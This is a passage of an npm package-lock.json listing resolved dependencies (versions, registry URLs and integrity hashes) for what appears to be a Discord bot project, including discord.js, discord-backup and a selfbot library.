| }, 411 | "engines": { 412 | "node": ">=10.16.0" 413 | } 414 | }, 415 | "node_modules/cacheable-lookup": { 416 | "version": "7.0.0", 417 | "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-7.0.0.tgz", 418 | "integrity": "sha512-+qJyx4xiKra8mZrcwhjMRMUhD5NR1R8esPkzIYxX96JiecFoxAXFuz/GpR3+ev4PE1WamHip78wV0vcmPQtp8w==", 419 | "engines": { 420 | "node": ">=14.16" 421 | } 422 | }, 423 | "node_modules/cacheable-request": { 424 | "version": "10.2.13", 425 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-10.2.13.tgz", 426 | "integrity": "sha512-3SD4rrMu1msNGEtNSt8Od6enwdo//U9s4ykmXfA2TD58kcLkCobtCDiby7kNyj7a/Q7lz/mAesAFI54rTdnvBA==", 427 | "dependencies": { 428 | "@types/http-cache-semantics": "^4.0.1", 429 | "get-stream": "^6.0.1", 430 | "http-cache-semantics": "^4.1.1", 431 | "keyv": "^4.5.3", 432 | "mimic-response": "^4.0.0", 433 | "normalize-url": "^8.0.0", 434 | "responselike": "^3.0.0" 435 | }, 436 | "engines": { 437 | "node": ">=14.16" 438 | } 439 | }, 440 | "node_modules/caseless": { 441 | "version": "0.12.0", 442 | "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", 443 | "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==" 444 | }, 445 | "node_modules/chalk": { 446 | "version": "2.4.2", 447 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", 448 | "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", 449 | "dependencies": { 450 | "ansi-styles": "^3.2.1", 451 | "escape-string-regexp": "^1.0.5", 452 | "supports-color": "^5.3.0" 453 | }, 454 | "engines": { 455 | "node": ">=4" 456 | } 457 | }, 458 | "node_modules/chokidar": { 459 | "version": "3.5.3", 460 | "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", 461 | "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", 462 | "funding": [ 463 | { 464 | "type": "individual", 465 | "url": "https://paulmillr.com/funding/" 466 | } 467 | ], 468 | "dependencies": { 469 | "anymatch": "~3.1.2", 470 | "braces": "~3.0.2", 471 | "glob-parent": "~5.1.2", 472 | "is-binary-path": "~2.1.0", 473 | "is-glob": "~4.0.1", 474 | "normalize-path": "~3.0.0", 475 | "readdirp": "~3.6.0" 476 | }, 477 | "engines": { 478 | "node": ">= 8.10.0" 479 | }, 480 | "optionalDependencies": { 481 | "fsevents": "~2.3.2" 482 | } 483 | }, 484 | "node_modules/clean-stack": { 485 | "version": "4.2.0", 486 | "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-4.2.0.tgz", 487 | "integrity": "sha512-LYv6XPxoyODi36Dp976riBtSY27VmFo+MKqEU9QCCWyTrdEPDog+RWA7xQWHi6Vbp61j5c4cdzzX1NidnwtUWg==", 488 | "dependencies": { 489 | "escape-string-regexp": "5.0.0" 490 | }, 491 | "engines": { 492 | "node": ">=12" 493 | }, 494 | "funding": { 495 | "url": "https://github.com/sponsors/sindresorhus" 496 | } 497 | }, 498 | "node_modules/clean-stack/node_modules/escape-string-regexp": { 499 | "version": "5.0.0", 500 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", 501 | "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", 502 | "engines": { 503 | "node": ">=12" 504 | }, 505 | "funding": { 506 | "url": "https://github.com/sponsors/sindresorhus" 507 | } 508 | }, 509 | "node_modules/color-convert": { 510 | "version": "1.9.3", 511 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", 512 | "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", 513 | "dependencies": { 514 | "color-name": "1.1.3" 515 | } 516 | }, 517 | "node_modules/color-name": { 518 | "version": "1.1.3", 519 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", 520 | "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" 521 | }, 522 | "node_modules/combined-stream": { 523 | "version": "1.0.8", 524 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 525 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 526 | "dependencies": { 527 | "delayed-stream": "~1.0.0" 528 | }, 529 | "engines": { 530 | "node": ">= 0.8" 531 | } 532 | }, 533 | "node_modules/core-util-is": { 534 | "version": "1.0.2", 535 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 536 | "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==" 537 | }, 538 | "node_modules/dashdash": { 539 | "version": "1.14.1", 540 | "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", 541 | "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", 542 | "dependencies": { 543 | "assert-plus": "^1.0.0" 544 | }, 545 | "engines": { 546 | "node": ">=0.10" 547 | } 548 | }, 549 | "node_modules/decompress-response": { 550 | "version": "6.0.0", 551 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", 552 | "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", 553 | "dependencies": { 554 | "mimic-response": "^3.1.0" 555 | }, 556 | "engines": { 557 | "node": ">=10" 558 | }, 559 | "funding": { 560 | "url": "https://github.com/sponsors/sindresorhus" 561 | } 562 | }, 563 | "node_modules/decompress-response/node_modules/mimic-response": { 564 | "version": "3.1.0", 565 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", 566 | "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", 567 | "engines": { 568 | "node": ">=10" 569 | }, 570 | "funding": { 571 | "url": "https://github.com/sponsors/sindresorhus" 572 | } 573 | }, 574 | "node_modules/defer-to-connect": { 575 | "version": "2.0.1", 576 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", 577 | "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", 578 | "engines": { 579 | "node": ">=10" 580 | } 581 | }, 582 | "node_modules/delay": { 583 | "version": "5.0.0", 584 | "resolved": "https://registry.npmjs.org/delay/-/delay-5.0.0.tgz", 585 | "integrity": "sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw==", 586 | "engines": { 587 | "node": ">=10" 588 | }, 589 | "funding": { 590 | "url": "https://github.com/sponsors/sindresorhus" 591 | } 592 | }, 593 | "node_modules/delayed-stream": { 594 | "version": "1.0.0", 595 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 596 | "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", 597 | "engines": { 598 | "node": ">=0.4.0" 599 | } 600 | }, 601 | "node_modules/discord-api-types": { 602 | "version": "0.33.5", 603 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.33.5.tgz", 604 | "integrity": "sha512-dvO5M52v7m7Dy96+XUnzXNsQ/0npsYpU6dL205kAtEDueswoz3aU3bh1UMoK4cQmcGtB1YRyLKqp+DXi05lzFg==" 605 | }, 606 | "node_modules/discord-backup": { 607 | "version": "3.3.2", 608 | "resolved": "https://registry.npmjs.org/discord-backup/-/discord-backup-3.3.2.tgz", 609 | "integrity": "sha512-C2CBplvnVG3XUG2byf2dBF4PX9J9aaEcMpJzjI+c53+9Lr9WNW0lQe6Fxzf/LMxApFe1oCbwtaqE5ioMuoN6Eg==", 610 | "dependencies": { 611 | "discord.js": "^14.2.0" 612 | } 613 | }, 614 | "node_modules/discord-backup/node_modules/@discordjs/builders": { 615 | "version": "1.6.5", 616 | "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.6.5.tgz", 617 | "integrity": "sha512-SdweyCs/+mHj+PNhGLLle7RrRFX9ZAhzynHahMCLqp5Zeq7np7XC6/mgzHc79QoVlQ1zZtOkTTiJpOZu5V8Ufg==", 618 | "dependencies": { 619 | "@discordjs/formatters": "^0.3.2", 620 | "@discordjs/util": "^1.0.1", 621 | "@sapphire/shapeshift": "^3.9.2", 622 | "discord-api-types": "0.37.50", 623 | "fast-deep-equal": "^3.1.3", 624 | "ts-mixer": "^6.0.3", 625 | "tslib": "^2.6.1" 626 | }, 627 | "engines": { 628 | "node": ">=16.11.0" 629 | } 630 | }, 631 | "node_modules/discord-backup/node_modules/@discordjs/collection": { 632 | "version": "1.5.3", 633 | "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", 634 | "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", 635 | "engines": { 636 | "node": ">=16.11.0" 637 | } 638 | }, 639 | "node_modules/discord-backup/node_modules/discord-api-types": { 640 | "version": "0.37.50", 641 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.50.tgz", 642 | "integrity": "sha512-X4CDiMnDbA3s3RaUXWXmgAIbY1uxab3fqe3qwzg5XutR3wjqi7M3IkgQbsIBzpqBN2YWr/Qdv7JrFRqSgb4TFg==" 643 | }, 644 | "node_modules/discord-backup/node_modules/discord.js": { 645 | "version": "14.13.0", 646 | "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.13.0.tgz", 647 | "integrity": "sha512-Kufdvg7fpyTEwANGy9x7i4od4yu5c6gVddGi5CKm4Y5a6sF0VBODObI3o0Bh7TGCj0LfNT8Qp8z04wnLFzgnbA==", 648 | "dependencies": { 649 | "@discordjs/builders": "^1.6.5", 650 | "@discordjs/collection": "^1.5.3", 651 | "@discordjs/formatters": "^0.3.2", 652 | "@discordjs/rest": "^2.0.1", 653 | "@discordjs/util": "^1.0.1", 654 | "@discordjs/ws": "^1.0.1", 655 | "@sapphire/snowflake": "^3.5.1", 656 | "@types/ws": "^8.5.5", 657 | "discord-api-types": "0.37.50", 658 | "fast-deep-equal": "^3.1.3", 659 | "lodash.snakecase": "^4.1.1", 660 | "tslib": "^2.6.1", 661 | "undici": "5.22.1", 662 | "ws": "^8.13.0" 663 | }, 664 | "engines": { 665 | "node": ">=16.11.0" 666 | } 667 | }, 668 | "node_modules/discord.js": { 669 | "version": "13.16.0", 670 | "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-13.16.0.tgz", 671 | "integrity": "sha512-bOoCs1Ilojd/UshZVxmEcpxVmHcYOv2fPVZOVq3aFV8xrKLJfaF9mxlvGZ1D1z9aIqf2NkptDr+QndeNuQBTxQ==", 672 | "dependencies": { 673 | "@discordjs/builders": "^0.16.0", 674 | "@discordjs/collection": "^0.7.0", 675 | "@sapphire/async-queue": "^1.5.0", 676 | "@types/node-fetch": "^2.6.3", 677 | "@types/ws": "^8.5.4", 678 | "discord-api-types": "^0.33.5", 679 | "form-data": "^4.0.0", 680 | "node-fetch": "^2.6.7", 681 | "ws": "^8.13.0" 682 | }, 683 | "engines": { 684 | "node": ">=16.6.0", 685 | "npm": ">=7.0.0" 686 | } 687 | }, 688 | "node_modules/discord.js-selfbot-v13": { 689 | "version": "2.14.10", 690 | "resolved": "https://registry.npmjs.org/discord.js-selfbot-v13/-/discord.js-selfbot-v13-2.14.10.tgz", 691 | "integrity": "sha512-sIQ93G/0sWJXD2TUC31PVWcLPFPHsDtZW72cfVDRdwQ6mmoKwQ2A7ZzdDhMGYOyb4BPHnLuDpNqs4FfWykvrEA==", 692 | "dependencies": { 693 | "@aikochan2k6/qrcode-terminal": "^0.12.1", 694 | "@discordjs/builders": "^1.6.3", 695 | "@discordjs/collection": "^1.5.1", 696 | "@discordjs/voice": "^0.16.0", 697 | "@sapphire/async-queue": "^1.5.0", 698 | "@sapphire/shapeshift": "^3.9.2", 699 | "@types/node-fetch": "^2.6.4", 700 | "@types/ws": "^8.5.5", 701 | "chalk": "^4.1.2", 702 | "discord-api-types": "^0.37.49", 703 | "fetch-cookie": "^2.1.0", 704 | "form-data": "^4.0.0", 705 | "json-bigint": "^1.0.0", 706 | "lodash.permutations": "^1.0.0", 707 | "node-fetch": "^2.6.9", 708 | "safe-base64": "^2.0.1-0", 709 | "string_decoder": "^1.3.0", 710 | "string-similarity": "^4.0.4", 711 | "tough-cookie": "^4.1.3", 712 | "ws": "^8.13.0" 713 | }, 714 | "engines": { 715 | "node": ">=16.6.0", 716 | "npm": ">=7.0.0" 717 | } 718 | }, 719 | "node_modules/discord.js-selfbot-v13/node_modules/@discordjs/builders": { 720 | "version": "1.6.5", 721 | "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.6.5.tgz", 722 | "integrity": "sha512-SdweyCs/+mHj+PNhGLLle7RrRFX9ZAhzynHahMCLqp5Zeq7np7XC6/mgzHc79QoVlQ1zZtOkTTiJpOZu5V8Ufg==", 723 | "dependencies": { 724 | "@discordjs/formatters": "^0.3.2", 725 | "@discordjs/util": "^1.0.1", 726 | "@sapphire/shapeshift": "^3.9.2", 727 | "discord-api-types": "0.37.50", 728 | "fast-deep-equal": "^3.1.3", 729 | "ts-mixer": "^6.0.3", 730 | "tslib": "^2.6.1" 731 | }, 732 | "engines": { 733 | "node": ">=16.11.0" 734 | } 735 | }, 736 | "node_modules/discord.js-selfbot-v13/node_modules/@discordjs/builders/node_modules/discord-api-types": { 737 | "version": "0.37.50", 738 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.50.tgz", 739 | "integrity": "sha512-X4CDiMnDbA3s3RaUXWXmgAIbY1uxab3fqe3qwzg5XutR3wjqi7M3IkgQbsIBzpqBN2YWr/Qdv7JrFRqSgb4TFg==" 740 | }, 741 | "node_modules/discord.js-selfbot-v13/node_modules/@discordjs/collection": { 742 | "version": "1.5.3", 743 | "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", 744 | "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", 745 | "engines": { 746 | "node": ">=16.11.0" 747 | } 748 | }, 749 | "node_modules/discord.js-selfbot-v13/node_modules/ansi-styles": { 750 | "version": "4.3.0", 751 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", 752 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", 753 | "dependencies": { 754 | "color-convert": "^2.0.1" 755 | }, 756 | "engines": { 757 | "node": ">=8" 758 | }, 759 | "funding": { 760 | "url": "https://github.com/chalk/ansi-styles?sponsor=1" 761 | } 762 | }, 763 | "node_modules/discord.js-selfbot-v13/node_modules/chalk": { 764 | "version": "4.1.2", 765 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", 766 | "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", 767 | "dependencies": { 768 | "ansi-styles": "^4.1.0", 769 | "supports-color": "^7.1.0" 770 | }, 771 | "engines": { 772 | "node": ">=10" 773 | }, 774 | "funding": { 775 | "url": "https://github.com/chalk/chalk?sponsor=1" 776 | } 777 | }, 778 | "node_modules/discord.js-selfbot-v13/node_modules/color-convert": { 779 | "version": "2.0.1", 780 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", 781 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", 782 | "dependencies": { 783 | "color-name": "~1.1.4" 784 | }, 785 | "engines": { 786 | "node": ">=7.0.0" 787 | } 788 | }, 789 | "node_modules/discord.js-selfbot-v13/node_modules/color-name": { 790 | "version": "1.1.4", 791 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", 792 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" 793 | }, 794 | "node_modules/discord.js-selfbot-v13/node_modules/discord-api-types": { 795 | "version": "0.37.55", 796 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.55.tgz", 797 | "integrity": "sha512-XIf8AELxg76AH1WzrgB5ziFyIxSs4tLK1XGjFs4oE6t7M7r1B0Chdylaz76ALhvRXAUBGHGFXu/pKAa5Q+LbQg==" 798 | }, 799 | "node_modules/discord.js-selfbot-v13/node_modules/has-flag": { 800 | "version": "4.0.0", 801 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", 802 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", 803 | "engines": { 804 | "node": ">=8" 805 | } 806 | }, 807 | "node_modules/discord.js-selfbot-v13/node_modules/supports-color": { 808 | "version": "7.2.0", 809 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", 810 | "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", 811 | "dependencies": { 812 | "has-flag": "^4.0.0" 813 | }, 814 | "engines": { 815 | "node": ">=8" 816 | } 817 | }, 818 | "node_modules/discordnitro": { 819 | "version": "0.1.6", 820 | "resolved": "https://registry.npmjs.org/discordnitro/-/discordnitro-0.1.6.tgz", 821 | "integrity": "sha512-c/eHGO/hO3lY21AIh71EknA46cxDc8BjmH/nEFs9rBXyQgxSAZd4gYkeQgqipLQQHwJjL30F+mBJE4++Nei+Gg==" 822 | }, 823 | "node_modules/dns-packet": { 824 | "version": "5.6.1", 825 | "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz", 826 | "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", 827 | "dependencies": { 828 | "@leichtgewicht/ip-codec": "^2.0.1" 829 | }, 830 | "engines": { 831 | "node": ">=6" 832 | } 833 | }, 834 | "node_modules/dns-socket": { 835 | "version": "4.2.2", 836 | "resolved": "https://registry.npmjs.org/dns-socket/-/dns-socket-4.2.2.tgz", 837 | "integrity": "sha512-BDeBd8najI4/lS00HSKpdFia+OvUMytaVjfzR9n5Lq8MlZRSvtbI+uLtx1+XmQFls5wFU9dssccTmQQ6nfpjdg==", 838 | "dependencies": { 839 | "dns-packet": "^5.2.4" 840 | }, 841 | "engines": { 842 | "node": ">=6" 843 | } 844 | }, 845 | "node_modules/ecc-jsbn": { 846 | "version": "0.1.2", 847 | "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", 848 | "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", 849 | "dependencies": { 850 | "jsbn": "~0.1.0", 851 | "safer-buffer": "^2.1.0" 852 | } 853 | }, 854 | "node_modules/escape-string-regexp": { 855 | "version": "1.0.5", 856 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", 857 | "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", 858 | "engines": { 859 | "node": ">=0.8.0" 860 | } 861 | }, 862 | "node_modules/extend": { 863 | "version": "3.0.2", 864 | "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", 865 | "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" 866 | }, 867 | "node_modules/extsprintf": { 868 | "version": "1.3.0", 869 | "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", 870 | "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", 871 | "engines": [ 872 | "node >=0.6.0" 873 | ] 874 | }, 875 | "node_modules/fast-deep-equal": { 876 | "version": "3.1.3", 877 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", 878 | "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" 879 | }, 880 | "node_modules/fast-json-stable-stringify": { 881 | "version": "2.1.0", 882 | "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", 883 | "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" 884 | }, 885 | "node_modules/fetch-cookie": { 886 | "version": "2.1.0", 887 | "resolved": "https://registry.npmjs.org/fetch-cookie/-/fetch-cookie-2.1.0.tgz", 888 | "integrity": "sha512-39+cZRbWfbibmj22R2Jy6dmTbAWC+oqun1f1FzQaNurkPDUP4C38jpeZbiXCR88RKRVDp8UcDrbFXkNhN+NjYg==", 889 | "dependencies": { 890 | "set-cookie-parser": "^2.4.8", 891 | "tough-cookie": "^4.0.0" 892 | } 893 | }, 894 | "node_modules/fill-range": { 895 | "version": "7.0.1", 896 | "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", 897 | "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", 898 | "dependencies": { 899 | "to-regex-range": "^5.0.1" 900 | }, 901 | "engines": { 902 | "node": ">=8" 903 | } 904 | }, 905 | "node_modules/forever-agent": { 906 | "version": "0.6.1", 907 | "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", 908 | "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", 909 | "engines": { 910 | "node": "*" 911 | } 912 | }, 913 | "node_modules/form-data": { 914 | "version": "4.0.0", 915 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", 916 | "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", 917 | "dependencies": { 918 | "asynckit": "^0.4.0", 919 | "combined-stream": "^1.0.8", 920 | "mime-types": "^2.1.12" 921 | }, 922 | "engines": { 923 | "node": ">= 6" 924 | } 925 | }, 926 | "node_modules/form-data-encoder": { 927 | "version": "2.1.4", 928 | "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-2.1.4.tgz", 929 | "integrity": "sha512-yDYSgNMraqvnxiEXO4hi88+YZxaHC6QKzb5N84iRCTDeRO7ZALpir/lVmf/uXUhnwUr2O4HU8s/n6x+yNjQkHw==", 930 | "engines": { 931 | "node": ">= 14.17" 932 | } 933 | }, 934 | "node_modules/fsevents": { 935 | "version": "2.3.3", 936 | "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", 937 | "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", 938 | "hasInstallScript": true, 939 | "optional": true, 940 | "os": [ 941 | "darwin" 942 | ], 943 | "engines": { 944 | "node": "^8.16.0 || ^10.6.0 || >=11.0.0" 945 | } 946 | }, 947 | "node_modules/get-stream": { 948 | "version": "6.0.1", 949 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", 950 | "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", 951 | "engines": { 952 | "node": ">=10" 953 | }, 954 | "funding": { 955 | "url": "https://github.com/sponsors/sindresorhus" 956 | } 957 | }, 958 | "node_modules/getpass": { 959 | "version": "0.1.7", 960 | "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", 961 | "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", 962 | "dependencies": { 963 | "assert-plus": "^1.0.0" 964 | } 965 | }, 966 | "node_modules/glob-parent": { 967 | "version": "5.1.2", 968 | "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", 969 | "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", 970 | "dependencies": { 971 | "is-glob": "^4.0.1" 972 | }, 973 | "engines": { 974 | "node": ">= 6" 975 | } 976 | }, 977 | "node_modules/got": { 978 | "version": "12.6.1", 979 | "resolved": "https://registry.npmjs.org/got/-/got-12.6.1.tgz", 980 | "integrity": "sha512-mThBblvlAF1d4O5oqyvN+ZxLAYwIJK7bpMxgYqPD9okW0C3qm5FFn7k811QrcuEBwaogR3ngOFoCfs6mRv7teQ==", 981 | "dependencies": { 982 | "@sindresorhus/is": "^5.2.0", 983 | "@szmarczak/http-timer": "^5.0.1", 984 | "cacheable-lookup": "^7.0.0", 985 | "cacheable-request": "^10.2.8", 986 | "decompress-response": "^6.0.0", 987 | "form-data-encoder": "^2.1.2", 988 | "get-stream": "^6.0.1", 989 | "http2-wrapper": "^2.1.10", 990 | "lowercase-keys": "^3.0.0", 991 | "p-cancelable": "^3.0.0", 992 | "responselike": "^3.0.0" 993 | }, 994 | "engines": { 995 | "node": ">=14.16" 996 | }, 997 | "funding": { 998 | "url": "https://github.com/sindresorhus/got?sponsor=1" 999 | } 1000 | }, 1001 | "node_modules/har-schema": { 1002 | "version": "2.0.0", 1003 | "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", 1004 | "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==", 1005 | "engines": { 1006 | "node": ">=4" 1007 | } 1008 | }, 1009 | "node_modules/har-validator": { 1010 | "version": "5.1.5", 1011 | "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", 1012 | "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", 1013 | "deprecated": "this library is no longer supported", 1014 | "dependencies": { 1015 | "ajv": "^6.12.3", 1016 | "har-schema": "^2.0.0" 1017 | }, 1018 | "engines": { 1019 | "node": ">=6" 1020 | } 1021 | }, 1022 | "node_modules/has-flag": { 1023 | "version": "3.0.0", 1024 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", 1025 | "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", 1026 | "engines": { 